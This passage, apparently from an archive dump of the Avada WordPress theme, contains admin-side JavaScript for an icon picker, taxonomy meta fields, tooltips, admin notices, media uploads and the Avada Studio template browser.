    ' ); if ( '' !== value && -1 === value.indexOf( ' ' ) ) { value = checkLegacyAndCustomIcons( value ); // If custom icon we don't need to update input, just value needs converted for below. if ( ! customIcon ) { // Wait until options tab is rendered. setTimeout( function() { // Update form field with new values. $input.attr( 'value', value ).trigger( 'change' ); }, 1000 ); } } // Icon navigation link is clicked. $containerParent.find( '.fusion-icon-picker-nav > a' ).on( 'click', function( e ) { e.preventDefault(); jQuery( '.fusion-icon-picker-nav-active' ).removeClass( 'fusion-icon-picker-nav-active' ); jQuery( this ).addClass( 'fusion-icon-picker-nav-active' ); $container.find( '.fusion-icon-set' ).css( 'display', 'none' ); $container.find( jQuery( this ).attr( 'href' ) ).css( 'display', 'grid' ); } ); // Scroll nav div to right. $containerParent.find( '.fusion-icon-picker-nav-wrapper > .fusion-icon-picker-nav-right' ).on( 'click', function( e ) { e.preventDefault(); $containerParent.find( '.fusion-icon-picker-nav' ).animate( { scrollLeft: '+=100' }, 250 ); } ); // Scroll nav div to left. $containerParent.find( '.fusion-icon-picker-nav-wrapper > .fusion-icon-picker-nav-left' ).on( 'click', function( e ) { e.preventDefault(); $containerParent.find( '.fusion-icon-picker-nav' ).animate( { scrollLeft: '-=100' }, 250 ); } ); if ( value && '' !== value ) { splitVal = value.split( ' ' ); if ( 2 === splitVal.length ) { // FA. $container.find( '.' + splitVal[ 0 ] + '.' + splitVal[ 1 ] ).parent().addClass( 'selected-element' ); } else if ( 1 === splitVal.length ) { // Custom icon. $container.find( '.' + splitVal ).parent().addClass( 'selected-element' ); } // Trigger click on parent nav tab item. selectedSetId = $container.find( '.selected-element' ).closest( '.fusion-icon-set' ).prepend( $container.find( '.selected-element' ) ).attr( 'id' ); $containerParent.find( '.fusion-icon-picker-nav a[href="#' + selectedSetId + '"]' ).trigger( 'click' ); } // Icon Search bar $search.on( 'change paste keyup', function() { var $searchInput = jQuery( this ); FusionDelay( function() { var options, fuse, result; if ( $searchInput.val() && '' !== $searchInput.val() ) { value = $searchInput.val().toLowerCase(); if ( 3 > value.length ) { return; } $container.find( '.icon_preview' ).css( 'display', 'none' ); options = { threshold: 0.2, location: 0, distance: 100, maxPatternLength: 32, minMatchCharLength: 3, keys: [ 'name', 'keywords', 'categories' ] }; fuse = new Fuse( fusionIconSearch, options ); result = fuse.search( value ); // Show icons. _.each( result, function( resultIcon ) { $container.find( '.icon_preview.' + resultIcon.name ).css( 'display', 'inline-flex' ); } ); // Add attributes to iconset containers. _.each( $container.find( '.fusion-icon-set' ), function( subContainer ) { var hasSearchResults = false; subContainer.classList.add( 'no-search-results' ); subContainer.querySelectorAll( '.icon_preview' ).forEach( function( icon ) { if ( 'none' !== icon.style.display && subContainer.classList.contains( 'no-search-results' ) ) { hasSearchResults = true; } } ); if ( ! hasSearchResults && ! subContainer.querySelector( '.no-search-results-notice' ) ) { jQuery( subContainer ).append( '
    ' + fusionBuilderText.no_results_in.replace( '%s', jQuery( 'a[href="#' + subContainer.id + '"]' ).html() ) + '
    ' ); } else if ( hasSearchResults ) { subContainer.classList.remove( 'no-search-results' ); } } ); } else { $container.find( '.icon_preview' ).css( 'display', 'inline-flex' ); _.each( $container.find( '.fusion-icon-set' ), function( subContainer ) { subContainer.classList.remove( 'no-search-results' ); } ); } }, 100 ); } ); } ); } } function checkLegacyAndCustomIcons( icon ) { var oldIconName; if ( '' !== icon ) { if ( 'fusion-prefix-' === icon.substr( 0, 14 ) ) { // Custom icon, we need to remove prefix. icon = icon.replace( 'fusion-prefix-', '' ); } else { icon = icon.split( ' ' ), oldIconName = ''; // Legacy FontAwesome 4.x icon, so we need check if it needs to be updated. if ( 'undefined' === typeof icon[ 1 ] ) { icon[ 1 ] = 'fas'; if ( 'undefined' !== typeof window[ 'fusion-fontawesome-free-shims' ] ) { oldIconName = icon[ 0 ].substr( 3 ); jQuery.each( window[ 'fusion-fontawesome-free-shims' ], function( i, shim ) { if ( shim[ 0 ] === oldIconName ) { // Update icon name. if ( null !== shim[ 2 ] ) { icon[ 0 ] = 'fa-' + shim[ 2 ]; } // Update icon subset. if ( null !== shim[ 1 ] ) { icon[ 1 ] = shim[ 1 ]; } return false; } } ); } icon = icon[ 0 ] + ' ' + icon[ 1 ]; } } } return icon; } jQuery( 'body' ).on( 'awb-icon-picker-init', function() { optionIconpicker(); } ); }( jQuery ) ); Avada/assets/admin/js/avada-tax-meta.js000064400000026171152342437710013735 0ustar00/* eslint no-unused-vars: 0 */ /* eslint array-callback-return: 0 */ /* * Handler for Taxonomy meta fields. */ ( function() { var avadaTaxMeta = {}; /** * Initialize all color pickers. * * @return {void} */ avadaTaxMeta.initColorPickers = function() { jQuery( '.avada-tax-color' ).each( function() { var self = jQuery( this ), $defaultReset = self.parents( '.avada-tax-meta-field' ).find( '.tax-meta-default-reset' ); // Picker with default. if ( jQuery( this ).data( 'default' ) && jQuery( this ).data( 'default' ).length ) { jQuery( this ).awbColorPicker( { change: function( event, ui ) { avadaTaxMeta.colorChange( ui.color.toString(), self, $defaultReset ); }, clear: function( event ) { avadaTaxMeta.colorClear( event, self ); } } ); // Make it so the reset link also clears color. $defaultReset.on( 'click', 'a', function( event ) { event.preventDefault(); avadaTaxMeta.colorClear( event, self ); } ); // Picker without default. } else { jQuery( this ).awbColorPicker(); } } ); }; /** * Color change event handler. * * @param {string} [value] The current value. * @param {Object} [self] The $this object. * @param {Object} [defaultReset] The reset element. * @return {void} */ avadaTaxMeta.colorChange = function( value, self, defaultReset ) { var defaultColor = self.data( 'default' ); if ( value === defaultColor ) { defaultReset.addClass( 'checked' ); } else { defaultReset.removeClass( 'checked' ); } if ( '' === value && null !== defaultColor ) { self.val( defaultColor ); self.change(); self.val( '' ); } self.trigger( 'fusion-changed' ); }; /** * Color clear event handler. * * @param {Object} [event] Event refrence. * @param {Object} [self] Reference to the element. * @return {void} */ avadaTaxMeta.colorClear = function( event, self ) { var defaultColor = self.data( 'default' ); if ( null !== defaultColor ) { self.val( defaultColor ); self.change(); self.val( '' ); self.parent().parent().find( '.wp-color-result' ).css( 'background-color', defaultColor ); } self.trigger( 'fusion-changed' ); }; /** * Initialize media frame popups and their actions. * * @return {void} */ avadaTaxMeta.initMediaFrames = function() { var frame, metaBox = jQuery( '.avada-tax-img-field' ), addImgLink = metaBox.find( '.avada-tax-image-upload' ), delImgLink = metaBox.find( '.avada-tax-image-upload-clear' ), imgContainer = metaBox.find( '.avada-tax-image-preview' ), imgIdInput = metaBox.find( '.avada-tax-image' ), imgUrlInput = metaBox.find( '.avada-tax-image-url' ), pContainer = ''; // On image link click. addImgLink.on( 'click', function( event ) { event.preventDefault(); pContainer = jQuery( this ).parent(); // If the media frame already exists, reopen it. if ( frame ) { frame.open(); return; } // Create a new media frame. frame = wp.media( { button: { text: 'Use this media' }, multiple: false, frame: 'post' } ); frame.on( 'select insert', function() { var imageURL, imageID, imageIDs, state = frame.state(); if ( 'undefined' !== typeof state.get( 'selection' ) ) { imageIDs = state.get( 'selection' ).map( function( scopedAttachment ) { return scopedAttachment.id; } ); state.get( 'selection' ).map( function( scopedAttachment ) { var element = scopedAttachment.toJSON(), display = state.display( scopedAttachment ).toJSON(), imgDataObj; imageID = element.id; if ( element.sizes && element.sizes[ display.size ] && element.sizes[ display.size ].url ) { imageURL = element.sizes[ display.size ].url; } else if ( element.url ) { imageURL = element.url; } imgDataObj = { id: element.id, url: imageURL, size: display.size, width: element.width, height: element.height }; // Send the attachment id to our hidden input. pContainer.find( imgIdInput ).val( JSON.stringify( imgDataObj ) ).trigger( 'change' ); pContainer.find( imgUrlInput ).val( imgDataObj.url ).trigger( 'change' ); // Hide the add image link. pContainer.find( addImgLink ).addClass( 'hidden' ); // Unhide the remove image link. pContainer.find( delImgLink ).removeClass( 'hidden' ); } ); } } ); // Finally, open the modal on click. frame.open(); } ); // Delete image link. delImgLink.on( 'click', function( event ) { event.preventDefault(); pContainer = jQuery( this ).parent(); // Clear out the preview image. pContainer.find( imgContainer ).html( '' ); // Un-hide the add image link. pContainer.find( addImgLink ).removeClass( 'hidden' ); // Hide the delete image link. pContainer.find( delImgLink ).addClass( 'hidden' ); // Delete the image id from the hidden input. pContainer.find( imgIdInput ).val( '' ).trigger( 'change' ); pContainer.find( imgUrlInput ).val( '' ); } ); }; /** * Perform clear form operations on ajax complete. * * @param {Object} [event] * @param {Object} [xhr] * @return {void} */ avadaTaxMeta.onAjaxComplete = function( event, xhr ) { var $response; try { $response = jQuery.parseXML( xhr.responseText ); // Exit on error. if ( jQuery( $response ).find( 'wp_error' ).length ) { return; } // Verify response. jQuery( $response ).find( 'response' ).each( function( i, e ) { var termID; if ( -1 < jQuery( e ).attr( 'action' ).indexOf( 'add-tag' ) ) { // If new term added. termID = jQuery( e ).find( 'term_id' ); if ( termID ) { avadaTaxMeta.clearFormFields(); } } } ); } catch ( err ) {} // eslint-disable-line no-empty }; /** * Clears avada taxonomy meta form fields. * * @return {void} */ avadaTaxMeta.clearFormFields = function() { // Clear all fields. jQuery( '.avada-tax-meta-field input[type="text"], .avada-tax-meta-field textarea' ).val( '' ); jQuery( '.avada-tax-meta-field .tax-meta-default-reset a' ).trigger( 'click' ); jQuery( '.avada-tax-meta-field .avada-tax-image-upload' ).removeClass( 'hidden' ); jQuery( '.avada-tax-meta-field .avada-tax-image-upload-clear' ).addClass( 'hidden' ); jQuery( '.avada-tax-meta-field select' ).val( '' ); jQuery( '.avada-tax-meta-field input[type="radio"]' ).prop( 'checked', false ); // Update select values. jQuery.each( jQuery( '.avada-tax-meta-field select' ), function( i, item ) { var $item = jQuery( item ); $item.val( $item.find( 'option:first' ).val() ).trigger( 'change' ); } ); // Update radio button set. jQuery.each( jQuery( '.avada-tax-button-set a' ), function() { var $container, defaultVal; $container = jQuery( this ).parents( '.avada-tax-button-set' ); if ( $container.hasClass( 'radio' ) ) { $container.find( '.ui-state-active' ).removeClass( 'ui-state-active' ); $container.find( '.ui-button' ).first().addClass( 'ui-state-active' ); $container.find( '.button-set-value' ).val( 'default' ).trigger( 'change' ); } else { defaultVal = $container.find( '.button-set-value' ).data( 'default' ); $container.find( '.button-set-value' ).val( defaultVal ).trigger( 'change' ); defaultVal = defaultVal.split( ',' ); defaultVal.forEach( function( value ) { $container.find( '[data-value="' + value + '"]' ).addClass( 'ui-state-active' ); } ); } } ); }; /** * Enable dependencies. * * @return {void} */ avadaTaxMeta.enableDependencies = function() { jQuery( '.avada-tax-dependency' ).each( function() { avadaTaxMeta.avadaTaxLoopDependencies( jQuery( this ) ); } ); }; /** * Loop through dependencies and show/hide. * * @return {void} */ avadaTaxMeta.avadaTaxLoopDependencies = function( $container ) { var $passed = false; $container.find( 'span' ).each( function() { var $value = jQuery( this ).data( 'value' ), $comparison = jQuery( this ).data( 'comparison' ), $field = jQuery( this ).data( 'field' ); $passed = avadaTaxMeta.avadaTaxCheckDependency( jQuery( '#' + $field ).val(), $value, $comparison ); return $passed; } ); if ( $passed ) { $container.parents( '.avada-tax-meta-field' ).show(); } else { $container.parents( '.avada-tax-meta-field' ).hide(); } }; /** * Check if dependency active or not. * * @return {boolean} */ avadaTaxMeta.avadaTaxCheckDependency = function( $currentValue, $desiredValue, $comparison ) { if ( '==' === $comparison || '=' === $comparison ) { if ( $currentValue == $desiredValue ) { // jshint ignore:line return true; } } else if ( '>=' === $comparison ) { if ( $currentValue >= $desiredValue ) { return true; } } else if ( '<=' === $comparison ) { if ( $currentValue <= $desiredValue ) { return true; } } else if ( '>' === $comparison ) { if ( $currentValue > $desiredValue ) { return true; } } else if ( '<' === $comparison ) { if ( $currentValue < $desiredValue ) { return true; } } else if ( '!=' === $comparison ) { if ( $currentValue != $desiredValue ) { // jshint ignore:line return true; } } return false; }; jQuery( '.avada-tax-button-set.radio a' ).on( 'click', function( e ) { var $radiosetcontainer; e.preventDefault(); $radiosetcontainer = jQuery( this ).parents( '.avada-tax-button-set' ); $radiosetcontainer.find( '.ui-state-active' ).removeClass( 'ui-state-active' ); jQuery( this ).addClass( 'ui-state-active' ); $radiosetcontainer.find( '.button-set-value' ).val( $radiosetcontainer.find( '.ui-state-active' ).data( 'value' ) ).trigger( 'change' ); } ); jQuery( '.avada-tax-button-set.checkbox a' ).on( 'click', function( e ) { var $checkboxsetcontainer; e.preventDefault(); $checkboxsetcontainer = jQuery( this ).closest( '.avada-tax-button-set' ); jQuery( this ).toggleClass( 'ui-state-active' ); $checkboxsetcontainer.find( '.button-set-value' ).val( $checkboxsetcontainer.find( '.ui-state-active' ).map( function( _, el ) { return jQuery( el ).data( 'value' ); } ).get() ).trigger( 'change' ); } ); jQuery( 'div.avada-tax-header, tr.avada-tax-heading-edit' ).on( 'click', function() { if ( jQuery( this ).find( 'span' ).hasClass( 'close' ) ) { jQuery( '.avada-tax-meta-field' ).not( '.avada-tax-heading, .avada-tax-header' ).show(); avadaTaxMeta.enableDependencies(); } else { jQuery( '.avada-tax-meta-field' ).not( '.avada-tax-heading, .avada-tax-header' ).hide(); jQuery( '.avada-sliders-group' ).hide(); } jQuery( this ).find( '.toggle-indicator' ).toggleClass( 'close' ); } ); // INIT stuff. avadaTaxMeta.initColorPickers(); avadaTaxMeta.initMediaFrames(); avadaTaxMeta.enableDependencies(); jQuery( '.avada-tax-meta-field' ).find( 'select, input' ).on( 'change', function() { avadaTaxMeta.enableDependencies(); } ); jQuery( '.avada-tax-meta-field select:not(.hidden-sidebar)' ).selectWoo( { minimumResultsForSearch: 10, dropdownCssClass: 'avada-select2', allowClear: true } ); jQuery( document ).ajaxComplete( function( event, xhr, settings ) { avadaTaxMeta.onAjaxComplete( event, xhr, settings ); } ); }( jQuery ) ); Avada/assets/admin/js/tiptip.jquery.min.js000064400000012157152342437710014553 0ustar00/* * TipTip * Copyright 2010 Drew Wilson * www.drewwilson.com * code.drewwilson.com/entry/tiptip-jquery-plugin * * Version 1.3 - Updated: Mar. 23, 2010 * * This Plug-In will create a custom tooltip to replace the default * browser tooltip. It is extremely lightweight and very smart in * that it detects the edges of the browser window and will make sure * the tooltip stays within the current window size. As a result the * tooltip will adjust itself to be displayed above, below, to the left * or to the right depending on what is necessary to stay within the * browser window. It is completely customizable as well via CSS. * * This TipTip jQuery plug-in is dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html */ (function($){$.fn.tipTip=function(options){var defaults={activation:"hover",keepAlive:false,maxWidth:"200px",edgeOffset:3,defaultPosition:"bottom",delay:400,fadeIn:200,fadeOut:200,attribute:"title",content:false,enter:function(){},exit:function(){}};var opts=$.extend(defaults,options);if($("#tiptip_holder").length<=0){var tiptip_holder=$('
    ');var tiptip_content=$('
    ');var tiptip_arrow=$('
    ');$("body").append(tiptip_holder.html(tiptip_content).prepend(tiptip_arrow.html('
    ')))}else{var tiptip_holder=$("#tiptip_holder");var tiptip_content=$("#tiptip_content");var tiptip_arrow=$("#tiptip_arrow")}return this.each(function(){var org_elem=$(this);if(opts.content){var org_title=opts.content}else{var org_title=org_elem.attr(opts.attribute)}if(org_title!=""){if(!opts.content){org_elem.removeAttr(opts.attribute)}var timeout=false;if(opts.activation=="hover"){org_elem.hover(function(){active_tiptip()},function(){if(!opts.keepAlive){deactive_tiptip()}});if(opts.keepAlive){tiptip_holder.hover(function(){},function(){deactive_tiptip()})}}else if(opts.activation=="focus"){org_elem.focus(function(){active_tiptip()}).blur(function(){deactive_tiptip()})}else if(opts.activation=="click"){org_elem.click(function(){active_tiptip();return false}).hover(function(){},function(){if(!opts.keepAlive){deactive_tiptip()}});if(opts.keepAlive){tiptip_holder.hover(function(){},function(){deactive_tiptip()})}}function active_tiptip(){opts.enter.call(this);tiptip_content.html(org_title);tiptip_holder.hide().removeAttr("class").css("margin","0");tiptip_arrow.removeAttr("style");var top=parseInt(org_elem.offset()['top']);var left=parseInt(org_elem.offset()['left']);var org_width=parseInt(org_elem.outerWidth());var org_height=parseInt(org_elem.outerHeight());var tip_w=tiptip_holder.outerWidth();var tip_h=tiptip_holder.outerHeight();var w_compare=Math.round((org_width-tip_w)/2);var h_compare=Math.round((org_height-tip_h)/2);var marg_left=Math.round(left+w_compare);var marg_top=Math.round(top+org_height+opts.edgeOffset);var t_class="";var arrow_top="";var arrow_left=Math.round(tip_w-12)/2;if(opts.defaultPosition=="bottom"){t_class="_bottom"}else if(opts.defaultPosition=="top"){t_class="_top"}else if(opts.defaultPosition=="left"){t_class="_left"}else if(opts.defaultPosition=="right"){t_class="_right"}var right_compare=(w_compare+left)parseInt($(window).width());if((right_compare&&w_compare<0)||(t_class=="_right"&&!left_compare)||(t_class=="_left"&&left<(tip_w+opts.edgeOffset+5))){t_class="_right";arrow_top=Math.round(tip_h-13)/2;arrow_left=-12;marg_left=Math.round(left+org_width+opts.edgeOffset);marg_top=Math.round(top+h_compare)}else if((left_compare&&w_compare<0)||(t_class=="_left"&&!right_compare)){t_class="_left";arrow_top=Math.round(tip_h-13)/2;arrow_left=Math.round(tip_w);marg_left=Math.round(left-(tip_w+opts.edgeOffset+5));marg_top=Math.round(top+h_compare)}var top_compare=(top+org_height+opts.edgeOffset+tip_h+8)>parseInt($(window).height()+$(window).scrollTop());var bottom_compare=((top+org_height)-(opts.edgeOffset+tip_h+8))<0;if(top_compare||(t_class=="_bottom"&&top_compare)||(t_class=="_top"&&!bottom_compare)){if(t_class=="_top"||t_class=="_bottom"){t_class="_top"}else{t_class=t_class+"_top"}arrow_top=tip_h;marg_top=Math.round(top-(tip_h+5+opts.edgeOffset))}else if(bottom_compare|(t_class=="_top"&&bottom_compare)||(t_class=="_bottom"&&!top_compare)){if(t_class=="_top"||t_class=="_bottom"){t_class="_bottom"}else{t_class=t_class+"_bottom"}arrow_top=-12;marg_top=Math.round(top+org_height+opts.edgeOffset)}if(t_class=="_right_top"||t_class=="_left_top"){marg_top=marg_top+5}else if(t_class=="_right_bottom"||t_class=="_left_bottom"){marg_top=marg_top-5}if(t_class=="_left_top"||t_class=="_left_bottom"){marg_left=marg_left+5}tiptip_arrow.css({"margin-left":arrow_left+"px","margin-top":arrow_top+"px"});tiptip_holder.css({"margin-left":marg_left+"px","margin-top":marg_top+"px"}).attr("class","tip"+t_class);if(timeout){clearTimeout(timeout)}timeout=setTimeout(function(){tiptip_holder.stop(true,true).fadeIn(opts.fadeIn)},opts.delay)}function deactive_tiptip(){opts.exit.call(this);if(timeout){clearTimeout(timeout)}tiptip_holder.fadeOut(opts.fadeOut)}}})}})(jQuery); Avada/assets/admin/js/avada-admin-notices.js000064400000003110152342437710014733 0ustar00/* global avadaAdminNotices, ajaxurl */ ( function() { jQuery( '.avada-dashboard' ).find( '.wrap > .wp-header-end' ).remove(); // Shorthand for ready event. jQuery( function() { // Dimiss notice. jQuery( 'div[avada-data-dismissible] button.notice-dismiss' ).on( 'click', function( event ) { var $optionName, $data, $this = jQuery( this ); event.preventDefault(); $optionName = $this.parent().attr( 'avada-data-dismissible' ); $data = { action: 'avada_dismiss_admin_notice', option_name: $optionName, nonce: avadaAdminNotices.nonce }; // Make ajax request. jQuery.post( ajaxurl, $data ); } ); // Show deprecated template notice on page load. if ( 0 < jQuery( '#publish' ).length && 0 < jQuery( '#page_template' ).length ) { if ( 'side-navigation.php' === jQuery( '#page_template' ).val() ) { jQuery( '

    ' + avadaAdminNotices.deprecated_side_nav_teamplate + '

    ' ).insertAfter( '#lost-connection-notice' ); } } // Show deprecated template notice on template change. jQuery( '#page_template' ).on( 'change', function() { if ( 'side-navigation.php' === jQuery( '#page_template' ).val() && 1 > jQuery( '.side_nav_deprecated_notice' ).length ) { jQuery( '

    ' + avadaAdminNotices.deprecated_side_nav_teamplate + '

    ' ).insertAfter( '#lost-connection-notice' ); } else { jQuery( '.side_nav_deprecated_notice' ).remove(); } } ); } ); }( jQuery ) ); Avada/assets/admin/js/upload.js000064400000015133152342437710012423 0ustar00jQuery( document ).ready( function() { var id; window.avadaUploadfield = ''; window.mediaUploader; jQuery( 'body' ).on( 'click', '.fusion_upload_button', function() { console.log("here"); window.avadaUploadfield = jQuery( '.upload_field', jQuery( this ).parent() ); window.avadaUploadfieldId = jQuery( '.upload_field_id', jQuery( this ).parent() ); if ( window.mediaUploader ) { window.mediaUploader.open(); return; } // Extend the wp.media object window.mediaUploader = wp.media( { title: 'Choose Image', button: { text: 'Choose Image' }, multiple: false } ); wp.media.frames.file_frame = window.mediaUploader; window.mediaUploader.on( 'select', function() { var attachment = window.mediaUploader.state().get( 'selection' ).first().toJSON(); window.sendToEditor( attachment ); } ); window.mediaUploader.on( 'open', function() { var lib, selected, attachment, selection; // Get selected media. selected = window.avadaUploadfield.val(); if ( selected.startsWith( 'http' ) ) { selected = window.avadaUploadfieldId.val(); } if ( selected ) { // Get library. lib = window.mediaUploader.state().get( 'library' ); lib.comparator = function( a, b ) { var aInQuery = !! this.mirroring.get( a.cid ), bInQuery = !! this.mirroring.get( b.cid ); if ( ! aInQuery && bInQuery ) { return -1; } if ( aInQuery && ! bInQuery ) { return 1; } return 0; }; // Get attachment and add to library. attachment = wp.media.attachment( selected ); attachment.fetch(); lib.add( attachment ? [ attachment ] : [] ); // Make it selected. selection = window.mediaUploader.state().get( 'selection' ); selection.add( attachment ? [ attachment ] : [] ); } else { selection = window.mediaUploader.state().get( 'selection' ); selection.add( [] ); } } ); // Open the uploader dialog window.mediaUploader.open(); return false; } ); window.avadaSendToEditorBackup = window.sendToEditor; window.sendToEditor = function( attachment ) { var imageUrl = '', imageId = '', imageAlt = '', imageWidth = '', imageHeight = '', featuredImageWrapper = jQuery( window.avadaUploadfield ).parents( '.fusion-featured-image-meta-box' ); if ( window.avadaUploadfield ) { if ( 0 < attachment.url.length ) { imageUrl = attachment.url; imageId = attachment.id; imageAlt = attachment.alt; imageWidth = attachment.width; imageHeight = attachment.height; } if ( featuredImageWrapper.length ) { featuredImageWrapper.find( '.fusion-preview-image' ).attr( { src: imageUrl, alt: imageAlt, width: imageWidth, height: imageHeight, srcset: '', sizes: '', style: '' } ); if ( featuredImageWrapper.hasClass( 'upload-plus-style' ) ) { jQuery( window.avadaUploadfield ).val( imageUrl ).trigger( 'change' ); jQuery( window.avadaUploadfieldId ).val( imageId ).trigger( 'change' ); } else { jQuery( window.avadaUploadfield ).val( imageId ).trigger( 'change' ); } featuredImageWrapper.find( '.fusion-remove-featured-image' ).show(); featuredImageWrapper.find( '.fusion-set-featured-image' ).hide(); } else { jQuery( window.avadaUploadfield ).val( imageUrl ).trigger( 'change' ); jQuery( window.avadaUploadfield.next() ).val( imageId ).trigger( 'change' ); } window.avadaUploadfield = ''; } else { window.avadaSendToEditorBackup( attachment ); } }; // Remove the featured image preview and also the id from form input. jQuery( '.fusion-remove-featured-image' ).on( 'click', function( e ) { var featuredImageWrapper = jQuery( this ).parents( '.fusion-featured-image-meta-box' ); e.preventDefault(); featuredImageWrapper.find( '.fusion-preview-image' ).attr( { src: '', alt: '', width: '', height: '', srcset: '', sizes: '', style: 'display:none;' } ); featuredImageWrapper.find( '.upload_field' ).val( '' ); featuredImageWrapper.find( '.fusion-remove-featured-image' ).hide(); featuredImageWrapper.find( '.fusion-set-featured-image' ).show(); } ); if ( jQuery.cookie( 'fusion_metabox_tab_' + jQuery( '#post_ID' ).val() ) ) { id = jQuery.cookie( 'fusion_metabox_tab_' + jQuery( '#post_ID' ).val() ); jQuery( '.pyre_metabox_tabs li' ).removeClass( 'active' ); jQuery( '.pyre_metabox_tabs li a[href=' + id + ']' ).parent().addClass( 'active' ); jQuery( '.pyre_metabox_tabs li a[href=' + id + ']' ).parents( '.inside' ).find( '.pyre_metabox_tab' ).removeClass( 'active' ).hide(); jQuery( '.pyre_metabox_tabs li a[href=' + id + ']' ).parents( '.inside' ).find( '#pyre_tab_' + id ).addClass( 'active' ).fadeIn(); calcElementHeights(); } else { jQuery( '.pyre_metabox_tabs li:first-child' ).addClass( 'active' ); jQuery( '.pyre_metabox .pyre_metabox_tab:first-child' ).addClass( 'active' ).fadeIn(); } jQuery( '.pyre_metabox_tabs li a' ).on( 'click', function( e ) { var thisID = jQuery( this ).attr( 'href' ); e.preventDefault(); jQuery.cookie( 'fusion_metabox_tab_' + jQuery( '#post_ID' ).val(), thisID, { expires: 7 } ); jQuery( this ).parents( 'ul' ).find( 'li' ).removeClass( 'active' ); jQuery( this ).parent().addClass( 'active' ); jQuery( this ).parents( '.inside' ).find( '.pyre_metabox_tab' ).removeClass( 'active' ).hide(); jQuery( this ).parents( '.inside' ).find( '#pyre_tab_' + thisID ).addClass( 'active' ).fadeIn(); calcElementHeights(); } ); // Calc height if the whole panel toggle is closed on load and opened later. jQuery( '#post-body #advanced-sortables #pyre_page_options .handlediv, #post-body #advanced-sortables #pyre_page_options .hndle' ).on( 'click', function() { setTimeout( function() { calcElementHeights(); }, 250 ); } ); // Initialize heights on load. calcElementHeights(); } ); function calcElementHeights() { var tabContentHeight, tabsHeight; // Set tabs pane height same as the tab content height. jQuery( '.pyre_metabox_tabs' ).removeAttr( 'style' ); tabContentHeight = jQuery( '.pyre_metabox' ).outerHeight(); tabsHeight = jQuery( '.pyre_metabox_tabs' ).height(); if ( tabContentHeight > tabsHeight ) { jQuery( '.pyre_metabox_tabs' ).css( 'height', tabContentHeight ); } // Set heights of select arrows correctly. jQuery( '.pyre_field .fusion-shortcodes-arrow' ).each( function() { if ( 0 < jQuery( this ).next().innerHeight() ) { jQuery( this ).css( { height: jQuery( this ).next().innerHeight(), width: jQuery( this ).next().innerHeight(), 'line-height': jQuery( this ).next().innerHeight() + 'px' } ); } } ); } Avada/assets/admin/js/awb-studio.js000064400000047462152342437710013227 0ustar00/* global ajaxurl, awbStudioData, Fuse, fusionBuilderText */ window.awbStudio = { // Data of posts for thumbnails. data: {}, // Current context of previews. context: { type: 'fusion_template', tag: 'all' }, // Timeouts for filter reveal. timeouts: [], // Keys of avada_media properties which are not empty (those will be imported). mediaImportKeys: [], $disablePreview: jQuery( '.awb-modal-overlay' ), $modal: jQuery( '.awb-admin-modal-wrap' ), $modalMessage: jQuery( '.awb-admin-modal-wrap .awb-admin-modal-status-bar .awb-admin-modal-status-bar-label' ), $modalProgressBar: jQuery( '.awb-admin-modal-wrap .awb-admin-modal-status-bar .awb-admin-modal-status-bar-progress-bar' ), /** * Run actions on load. * * @since 7.5 * * @return {void} */ init: function() { this.$el = jQuery( '.avada_page_avada-studio' ); this.data = awbStudioData; // Listeners for events. this.addListeners(); // Lazy load from selector, could just use theme lazy load. this.initLazyLoad(); // Icon bar filters. this.initIconBar(); // Tag filters this.initTagFilter(); // Preview and save. this.initPreviewListener(); // Iframe load. this.initIframeListener(); // Modal close. this.initModalEvents(); // Init search. this.initSearch(); }, /** * Iframe events. * * @since 7.5 * @return {void} */ initIframeListener: function() { this.$el.find( '.awb-studio-preview-frame' ).on( 'load', function() { // Trigger event for preview update. window.dispatchEvent( new Event( 'awb-studio-update-preview' ) ); jQuery( '#fusion-loader' ).hide(); jQuery( '.awb-import-studio-item-in-preview' ).off( 'click' ); jQuery( '.awb-import-studio-item-in-preview' ).on( 'click', function( event ) { var dataID = jQuery( this ).data( 'id' ); event.preventDefault(); jQuery( '.fusion-studio-preview-back' ).trigger( 'click' ); jQuery( '.awb-save[data-id="' + dataID + '"]' ).trigger( 'click' ); } ); } ); }, /** * Modal events. * * @since 7.5 * @return {void} */ initModalEvents: function() { var self = this; this.$el.find( '.fusion-studio-preview-back, .post-modal-bg' ).on( 'click', function() { self.closeModal( self.$el ); } ); jQuery( 'body' ).on( 'keydown', function( event ) { if ( ( 27 === event.keyCode || '27' === event.keyCode ) && jQuery( 'body' ).hasClass( 'fusion-studio-preview-active' ) ) { self.closeModal( self.$el ); } return true; } ); }, /** * Closes Modal. * * @since 7.5 * @return {void} */ closeModal: function( element ) { element.find( '.awb-studio-modal' ).css( 'visibility', 'hidden' ); element.find( '.awb-studio-modal' ).css( 'opacity', '0' ); jQuery( 'body' ).removeClass( 'fusion-studio-preview-active' ); }, /** * Update the tag list for the current context. * * @since 3.1 * @return {void} */ tagsUpdate: function() { var $nav = this.$el.find( '#filter-bar nav' ); // Clear out old tags. $nav.empty(); // Early exit if context is not set. if ( 'undefined' === typeof this.data[ this.context.type ] ) { return; } // Add all link with new count. $nav.prepend( '' + fusionBuilderText.all + ' ' + Object.keys( this.data[ this.context.type ] ).length + '' ); // Each tag of type add in. jQuery.each( this.data.studio_tags[ this.context.type ], function( index, tag ) { $nav.append( '' + tag.name + '' + tag.count + '' ); } ); // Add click listener. this.initTagFilter(); }, /** * Main category filtering. * * @since 3.1 * @return {void} */ initIconBar: function() { var self = this; this.$el.find( '.awb-studio-categories li' ).on( 'click', function( event ) { event.preventDefault(); if ( self.context.type === jQuery( this ).data( 'type' ) ) { return; } // Update title. jQuery( '#filter-bar h2' ).text( jQuery( this ).attr( 'aria-label' ) ); // Active styling. jQuery( '.awb-studio-categories li.active' ).removeClass( 'active' ); jQuery( this ).addClass( 'active' ); // Context change. self.context.type = jQuery( this ).data( 'type' ); // TODO, potentially check if same filter is in the other category instead. self.context.tag = 'all'; // Update tags for new category. self.tagsUpdate(); // Update preview for new category and tag combination. self.previewsUpdate(); } ); // Trigger first (handles disabled elements in access control). this.$el.find( '.awb-studio-categories li:first' ).trigger( 'click' ); }, /** * Click listener for tag links. * * @since 3.1 * @return {void} */ initTagFilter: function() { var self = this; this.$el.find( '#filter-bar nav a' ).on( 'click', function( event ) { event.preventDefault(); if ( self.context.tag === jQuery( this ).data( 'tag' ) ) { return; } // Active styling. jQuery( '#filter-bar nav .active' ).removeClass( 'active' ); jQuery( this ).addClass( 'active' ); // Update context tag. self.context.tag = jQuery( this ).data( 'tag' ); // Update preview for new tag. self.previewsUpdate(); } ); }, /** * Lazy load images. * * @since 3.1 * @return {void} 